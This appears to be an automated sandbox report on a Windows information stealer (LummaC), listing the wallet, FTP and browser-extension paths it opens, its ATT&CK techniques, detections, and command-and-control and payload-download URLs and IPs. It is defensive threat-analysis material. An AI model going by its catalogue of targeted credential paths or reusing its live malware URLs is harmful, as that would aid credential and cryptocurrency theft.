Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2274029788.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2195055041.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2273994527.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6536, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://occupy-blushi.sbs/apil	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/_	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/apis	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/O	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/db	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/pis	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/api	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/#	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/api#	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/ule	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
occupy-blushi.sbs	104.21.7.169	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
frogs-severz.sbs	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://occupy-blushi.sbs/api	true	Avira URL Cloud: malware	unknown
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_111.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/apil	file.exe, 00000000.00000002.2523718524.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/apis	file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_111.7.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_91.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_111.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/	file.exe, 00000000.00000003.2314664087.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313768386.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_111.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/#	file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245865541.0000000005817000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245552829.000000000580B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://occupy-blushi.sbs/db	file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2314581977.000000000581D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447117000.0000000005818000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/gewarren	chromecache_111.7.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2523501336.0000000000D5A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2246935738.0000000005848000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/O	file.exe, 00000000.00000003.2218337118.000000000581C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_111.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_111.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://aka.ms/certhelp	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/_	file.exe, 00000000.00000003.2218234084.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/pis	file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_91.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/api#	file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2314581977.000000000581D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447117000.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_111.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/adegeo	chromecache_111.7.dr	false		high
https://occupy-blushi.sbs/ule	file.exe, 00000000.00000002.2523718524.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_103.7.dr, chromecache_91.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2446952078.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_111.7.dr	false		high
https://channel9.msdn.com/	chromecache_103.7.dr, chromecache_91.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_103.7.dr, chromecache_91.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.7.169	occupy-blushi.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562587
Start date and time:	2024-11-25 18:27:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 84.201.208.102, 172.217.19.227, 2.18.110.57, 64.233.165.84, 172.217.19.238, 2.20.41.214, 34.104.35.123, 104.208.16.91, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.19.234, 172.217.19.202, 172.217.19.10, 172.217.17.74, 23.50.131.200, 23.50.131.204, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.67, 172.217.17.46
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdcus17.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google
Execution Graph export aborted for target file.exe, PID 6536 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:28:06	API Interceptor	53x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
104.21.7.169	file.exe	Get hash	malicious	Unknown	Browse
185.215.113.16	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.63
